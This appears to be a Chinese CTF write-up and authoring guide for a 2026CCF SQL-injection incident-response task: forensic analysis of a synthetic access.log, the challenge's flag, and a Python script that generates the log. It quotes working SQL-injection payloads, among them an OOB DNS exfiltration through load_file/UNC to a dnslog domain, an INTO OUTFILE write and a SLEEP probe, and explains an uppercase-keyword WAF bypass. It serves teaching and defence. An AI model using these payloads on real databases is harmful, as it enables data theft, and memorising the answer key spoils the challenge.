3554 字
18 分钟
2026CCF「SQL注入的应急排查」Writeup:DNS 外带日志分析与出题指南

2026CCF「SQL注入的应急排查」Writeup:DNS 外带日志分析与出题指南#

题目描述#

2026CCF-Sql注入的应急排查

某企业安全团队日常运维过程中发现 WAF 告警,显示其业务系统遭受大量 SQL 注入扫描。尽管大部分扫描被拦截,但运维人员进一步分析发现数据库服务器存在异常的 DNS 查询记录。结合 Web 访问日志,怀疑攻击者可能利用某种技术绕过了检测并将数据库敏感信息外传。请分析附件中的 access.log,找出攻击者用于接收数据的域名

Flag 格式flag{abc.xyz.cn}

答案先行:攻击者用于接收数据的域名是 p9fin2.dnslog.cn,即

flag{p9fin2.dnslog.cn}

下面是完整推理过程,以及”如果我要自己出这种题,思路和一般操作方式”。


一、解题篇:从日志里还原一场 SQL 注入攻击#

1. 先看整体,建立基线#

拿到日志第一件事不是找攻击,而是搞清楚这份日志长什么样:总量多少、都有哪些来源 IP、状态码分布、请求路径分布。

Terminal window
# 总量
wc -l access.log # 45003
# 状态码分布(先找"异常颜色")
grep -oE '" [0-9]{3} [0-9]+' access.log | awk '{print $2}' | sort | uniq -c
# 40002 200
# 5001 403 <-- 大量 403,异常!
# 来源 IP 分布(内网 vs 公网)
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head
# 请求路径与参数形状
grep -oE '"(GET|POST) [^"]*"' access.log | sed 's/?.*//' | sort | uniq -c
# 45002 "GET /product
# 1 "GET /search <-- 只有 1 条 /search,可疑!

结论:40002 条正常 200(内网 IP 浏览 /product?id=N),5001 条 403(被拦截),路径几乎全是 /product,只有 1 条 /search —— 这条 /search 几乎必然是”题眼”。

经验:日志分析题的”正常基线”永远是大量重复、来源内网、状态 200 的流量;任何唯一性事件(唯一路径、唯一 IP、唯一状态码、唯一 UA)都是重点排查对象。

2. 找”非数字参数”,一击命中注入#

/product?id=1000 是正常流量,凡是 id 后面不是纯数字的,都是注入尝试:

Terminal window
grep -oE '"GET [^"]*"' access.log | grep -E "id=[^0-9]" | sort -u | head

只花一秒就能看到三种攻击载荷,而它们正是全题的核心:

行号时间来源 IP请求状态
13350+14:00:00103.56.12.87 等 11 个公网 IP/product?id=1' and '1'='1(布尔探测)403
4500314:01:4089.248.165.99/product?id=1' INTO OUTFILE '/tmp/out.txt' --(写文件)403
4414614:02:0046.101.88.33/product?id=1' AND SLEEP(1) --(时间盲注)200
4327114:02:30203.0.113.88/search?q=1' AND (SELECT load_file(...dnslog...)) --(DNS 外带)200

(注意行号顺序:43271 → 44146 → 45003,但时间戳是 14:02:30 → 14:02:00 → 14:01:40,攻击事件在文件里是逆序插入的,见下文”还原时间线”。)

3. 解码那条最关键的请求 —— 答案就在这里#

DNS 外带那条是 URL 编码的,解码后一目了然:

from urllib.parse import unquote
unquote("1%27%20AND%20(SELECT%20load_file(concat(%27%5C%5C%5C%5C%27,(select%20database()),%27.p9fin2.dnslog.cn%5C%5Cabc%27)))%20--%20")
# 1' AND (SELECT load_file(concat('\\\\',(select database()),'.p9fin2.dnslog.cn\\abc'))) --

这是经典 OOB(带外)DNS 外带,也是本题的”题眼”:

  • load_file(concat('\\\\', (select database()), '.p9fin2.dnslog.cn\\abc'))
  • MySQL 的 load_file() 支持 UNC 路径,\\xxx 会触发一次 DNS 解析请求
  • 于是数据库名作为子域被拼进 p9fin2.dnslog.cn,攻击者在 dnslog 平台就能看到形如 shop_db.p9fin2.dnslog.cn 的解析记录
  • dnslog.cn 是公开的 DNS 外带接收平台,p9fin2 是攻击者在该平台注册的个人标识子域

题目问”攻击者用于接收数据的域名” —— 就是这个 p9fin2.dnslog.cn。按 Flag 格式包起来:flag{p9fin2.dnslog.cn}

load_file 触发 DNS 外带的原理:

load_file('\\\\' + 数据 + '.dnslog.cn\\abc')
↓ 数据库尝试访问 UNC 路径
↓ 解析 \\数据.dnslog.cn
↓ DNS 查询: 数据.dnslog.cn ← 数据出现在 DNS 日志里

4. 还原攻击时间线(注意:日志可能乱序!)#

把三条攻击行按时间戳排序,得到完整的攻击链:

时间攻击者手法结果
14:00:00 ~ 14:00:0111 个公网 IP(103.56.12.87、45.33.22.11、185.130.5.253 …)大规模布尔盲注探测 id=N' and '1'='1,约 5000 次全部 403,被 WAF 拦截
14:01:4089.248.165.99尝试 INTO OUTFILE 写文件(思路是写 WebShell)403,拦截页只有 512B(不同规则)
14:02:0046.101.88.33时间盲注 id=1' AND SLEEP(1) --200 成功 —— 大写关键字绕过 WAF
14:02:30203.0.113.88DNS 外带数据库名(/search?q= 参数)200 成功 —— 数据出网

这是标准攻击链的”探测 → 失败尝试 → 绕过成功 → 数据外带”四步,一条不差,完美呼应题面里的”大部分扫描被拦截 + 数据库服务器存在异常 DNS 查询”。

关键技巧:攻击者三个 IP 的共同特征是裸 UA "Mozilla/5.0"、Referer 为 -;正常流量是 Mac/Windows Chrome UA + baidu/google 来源。grep '" 200 ' | grep -vE "id=[0-9]+\"" 之后只剩 2 条 200 攻击成功记录,这 2 条就是”攻击得手”的铁证。

5. WAF 为什么拦不住?#

  • 5000 条探测(小写 and '1'='1)→ 403,拦截页 1024B
  • INTO OUTFILE(文件写入特征)→ 403,拦截页 512B
  • AND SLEEP(1)(大写)→ 200
  • AND (SELECT ...)(大写)→ 200

说明 WAF 的规则匹配了小写关键字/特定特征串,攻击者用大写变形 + -- 注释绕过了基于大小写敏感的简单规则——这是入门级 WAF 绕过最经典的演示。从响应体大小(1024B vs 512B)还能看出不同规则对应不同的拦截页,这是一个很有信息量的细节。

6. 结论(标准答案)#

- 事件类型:Web 应用 SQL 注入(含 OOB 数据外带)
- 攻击时间:2024-05-20 14:00:00 ~ 14:02:30
- 攻击来源:203.0.113.88(最终外带者)、46.101.88.33(时间盲注)、
89.248.165.99(写文件尝试),另有 11 个 IP 参与探测
- 攻击目标:/product?id=(数字型)、/search?q=(字符型)
- 攻击结果:2 条请求成功(200),数据库名经 DNS 外带
- 被绕过设备:WAF(大小写绕过)
- ★ 接收数据域名:p9fin2.dnslog.cn
- ★ Flag:flag{p9fin2.dnslog.cn}
- 建议处置:封禁攻击 IP、修补注入点(参数化查询)、排查 dnslog 已外带数据、
检查 /tmp/out.txt 是否写入成功(本日志中失败)

本题 flag 就是”接收数据域名”本身——属于”外带数据/外带设施”直接当答案的出法,不用附 DNS 日志,玩家从载荷里解出来即可。


二、出题篇:怎么自己写一道这样的题#

1. 先定考点(决定日志里埋什么)#

一道日志分析题能考的东西,从易到难:

考点考察能力日志里怎么埋
日志基本解析grep/awk/正则大量噪声流量
攻击识别知道 SQLi 载荷长什么样注入请求混在噪声里
WAF 存在性状态码/拦截页分析403 + 拦截页大小区分
攻击链还原时间线排序、乱序识别攻击行时间戳乱序
编码/变形URL 解码、大小写绕过URL 编码载荷、大写关键字
OOB 外带知道 load_file/UNC/DNS 原理dnslog 域名请求
溯源UA/Referer 等特征关联攻击者统一裸 UA

出题的本质 = 把一个真实攻击事件的日志,混进大量正常流量里,再藏好答案。

2. 环境搭建:两种路线#

路线 A:真实靶场 + 抓日志(推荐,难度可控且”真”)

  • Web 应用:一个最简单的商品页 /product?id=,直接拼 SQL;再给 /search?q= 一个字符型注入点。可以用 Python Flask + MySQL,几十行代码
  • WAF:OpenResty/nginx 里加几条 location 规则拦截小写 and|select|union|into outfile,或者直接挂 ModSecurity 默认规则集
  • 日志:nginx 的 access.log 就是现成格式
  • 优点:攻击是真的,日志是真的,还能顺手教环境排查;缺点:要搭环境

路线 B:纯离线生成日志(最快,比赛最常见)

  • 不搭任何服务,直接用脚本造出”看起来真实”的 access.log
  • 上面解题篇用的就是这条路线
  • 优点:零依赖、可复现、可批量出题;缺点:没有真实环境可排查(可以再补一个”环境题”环节)

3. 流量设计:噪声 90% + 攻击 10%#

日志一定要”大而杂”,否则一眼看穿。一个成熟的生成流程:

#!/usr/bin/env python3
"""生成 SQL 注入应急响应日志:噪声 + 四阶段攻击 + 乱序"""
import random, urllib.parse
random.seed(20240520)
# ---- 噪声流量(正常用户,量大、参数随机、响应大小随机)----
INT_IPS = ["10.0.0.%d" % i for i in range(10, 30)] + ["192.168.1.%d" % i for i in range(10, 50)]
NORMAL_UA = ["Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"]
REFS = ["https://www.baidu.com/", "https://www.google.com/", "-"]
ATTACK_UA = "Mozilla/5.0" # 攻击者统一裸 UA(溯源特征)
NO_REF = "-"
def L(ip, ts, req, status, size, ref, ua):
return f'{ip} - - [{ts} +0800] "GET {req} HTTP/1.1" {status} {size} "{ref}" "{ua}"'
noise = []
for _ in range(40000): # 4 万条正常流量打底
ip = random.choice(INT_IPS)
ts = "20/May/2024:14:00:00" if random.random() < 0.93 else "20/May/2024:14:00:01"
req = f"/product?id={random.randint(1, 9999)}"
noise.append(L(ip, ts, req, 200, random.randint(2000, 8000),
random.choice(REFS), random.choice(NORMAL_UA)))
# ---- 四阶段攻击(时间戳为正序,但插入位置打乱)----
attacks = [
# 阶段1:多 IP 布尔盲注探测 → WAF 403(1024B 拦截页)
*(L(f"103.56.12.{i}", "20/May/2024:14:00:00", f"/product?id={n}' and '1'='1",
403, 1024, NO_REF, ATTACK_UA)
for i in range(80, 95) for n in range(1, 30)),
# 阶段2:写文件尝试 → 403(独立规则,512B 拦截页)
L("89.248.165.99", "20/May/2024:14:01:40",
"/product?id=1' INTO OUTFILE '/tmp/out.txt' --", 403, 512, NO_REF, ATTACK_UA),
# 阶段3:大写关键字时间盲注 → 200 成功(WAF 绕过)
L("46.101.88.33", "20/May/2024:14:02:00",
"/product?id=1' AND SLEEP(1) --", 200, 3000, NO_REF, ATTACK_UA),
# 阶段4:DNS 外带数据库名 → 200 成功(本题答案就藏在这条域名里)
L("203.0.113.88", "20/May/2024:14:02:30",
"/search?q=" + urllib.parse.quote(
"1' AND (SELECT load_file(concat('\\\\',(select database()),'.p9fin2.dnslog.cn\\abc'))) -- "),
200, 5000, NO_REF, ATTACK_UA),
]
log = noise + attacks
# 打乱(注意:攻击行时间戳已排好,这里只打乱文件里的位置)
random.shuffle(log)
with open("access.log", "w") as f:
f.write("\n".join(log) + "\n")

几个让题”活”起来的细节(原题都做到了):

  1. 攻击响应大小伪装成正常范围:攻击成功是 200 且 3000/5000B,和正常 2000~8000B 混在一起——光靠大小分不出来
  2. 攻击行乱序/逆序插入:三条攻击行时间戳 14:02:30 → 14:02:00 → 14:01:40,按文件顺序读会得出错误攻击链,逼玩家按时间戳排序(防”按行号找答案”)
  3. 两个注入点/product?id=/search?q=,一个是数字型一个是字符型(URL 编码),考解码
  4. WAF 拦截页大小区分:1024B 和 512B 暗示不同规则,留出”深挖”空间
  5. 攻击者指纹统一:裸 UA Mozilla/5.0 + Referer -,和正常流量(Mac/Win Chrome + baidu/google)形成鲜明对比,方便溯源
  6. flag = 接收数据域名:答案藏在载荷的 dnslog 域名里,题目描述(“数据库服务器存在异常的 DNS 查询记录”)恰好提示了解题方向——找 DNS 外带

4. flag 怎么放(三种主流做法)#

做法 1:flag = 外带的目标域名(本题,最省事且最贴合”OOB”考点)

  • 攻击者用 load_file(concat('\\\\', 数据, '.我的dnslog域名\\abc')) 外带
  • 题目问”攻击者用于接收数据的域名”,玩家从载荷里解出 xxx.dnslog.cn 即可
  • 进阶:把外带目标改成 SELECT group_concat(flag) FROM flag,题目再附一份 DNS 解析日志,玩家从 <flag内容>.xxx.dnslog.cn 里拼出完整 flag

做法 2:flag 藏在载荷里(最简单,适合入门)

  • 在攻击链最后加一条成功请求,载荷里直接携带 hex/base64 编码的 flag: id=1' UNION SELECT 0x666c61677b... --(被 WAF 拦则改成 200 成功记录)
  • 或者 /flag?id=flag{xxx} 之类直接暴露的请求

做法 3:答题式(平台题最常见)

  • 不给明文 flag,玩家在平台提交「攻击者IP | 攻击时间 | 攻击手法 | 外带域名」,后台比对答案,全对才发 flag
  • 出题人只需在题目描述里列 4~5 个问题,答案从日志里来

5. 校验与难度调节#

玩家侧:要求玩家交付一份”应急响应报告”(事件类型/时间/来源/手法/结果/处置建议)比直接要 flag 更能考能力。

难度调节旋钮

想变难做法
隐藏攻击噪声翻到 10 万行;攻击行时间戳完全随机;正常流量也混入少量 4xx/5xx
藏参数注入点换到 POST body / Cookie / User-Agent(需要对应日志格式)
加深理解攻击链分 5~6 步(加一步 information_schema 枚举、加一步写 WebShell 成功)
加密载荷flag 用 base64/hex/异或编码,玩家要先解码
多事件并发同一时间线里放两起不同攻击(SQLi + XSS),要求分别溯源

容易踩的坑

  • 攻击行数太少(1~2 条)会太简单;太多(>100 条)会让人 grep 不出来
  • 攻击行必须和噪声共用日志格式,别让”攻击行多了个字段”这种低级破绽泄题
  • 乱序要乱得”讲得通”:要么全部打乱,要么逆序插入,别只乱一半让玩家靠行号猜
  • 出题人自己先按解题流程跑一遍,确认从题目描述能唯一推出答案(防止多解/无解)

6. 常用命令速查(解题与验题通用)#

Terminal window
# 状态码分布
grep -oE '" [0-9]{3} [0-9]+' access.log | awk '{print $2}' | sort | uniq -c
# 来源 IP 排行
awk '{print $1}' access.log | sort | uniq -c | sort -rn
# 非数字参数(注入载荷)
grep -oE '"GET [^"]*"' access.log | grep -E "id=[^0-9]" | sort -u
# 成功攻击(200 且非纯数字参数)
grep '" 200 ' access.log | grep -vE "id=[0-9]+\""
# 按时间戳还原时间线
grep -oE '\[[^]]*\]|"GET [^"]*"|[0-9]{3} [0-9]+' access.log | paste - - -
# 攻击特征(裸 UA / 无 Referer)
grep -E '"-" "Mozilla/5.0"' access.log | head
# URL 解码
python3 -c "from urllib.parse import unquote; print(unquote('PAYLOAD'))"

三、小结#

解题:先建基线(状态码/来源/路径分布)→ 用”非数字参数”过滤瞬间锁定注入 → 解码载荷 → 按时间戳还原攻击链 → 用响应码/拦截页/UA 特征佐证”谁成功了、绕过什么” → 本题的答案就是载荷里的接收域名 p9fin2.dnslog.cn,flag = flag{p9fin2.dnslog.cn}

出题:定考点 → 搭真实靶场或纯脚本生成 → 噪声打底 + 四阶段攻击(探测/失败尝试/绕过成功/数据外带)→ 乱序 + 伪装 + 指纹统一 → 用”外带域名 / 载荷 / 答题”三种方式放 flag → 自己先解一遍验证唯一性。

日志分析题最大的魅力在于:答案全部在数据里,但藏得越自然,越能考出真本事。 祝你出题顺利,也祝被这套题难住的人少一点。